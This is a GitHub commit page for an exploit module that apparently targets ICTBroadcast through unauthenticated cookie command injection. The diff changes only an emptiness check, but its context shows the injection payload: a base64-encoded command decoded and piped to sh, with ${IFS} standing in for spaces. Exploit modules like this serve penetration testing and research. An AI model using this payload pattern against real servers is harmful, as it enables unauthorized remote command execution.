Skip to content

Commit 46b3012

Browse files
Update modules/exploits/linux/http/ictbroadcast_unauth_cookie.rb
Co-authored-by: msutovsky-r7 <[email protected]>
1 parent a6d86fb commit 46b3012

File tree

1 file changed

+1
-1
lines changed

1 file changed

+1
-1
lines changed

modules/exploits/linux/http/ictbroadcast_unauth_cookie.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -74,7 +74,7 @@ def get_valid_cookies
7474

7575
def inject_cookie_payload(command)
7676
cookies = get_valid_cookies
77-
return if cookies.empty?
77+
return if cookies.blank?
7878

7979
encoded_command = Rex::Text.encode_base64(command)
8080
payload = "echo${IFS}#{encoded_command}|base64${IFS}-d|sh"

0 commit comments

Comments
 (0)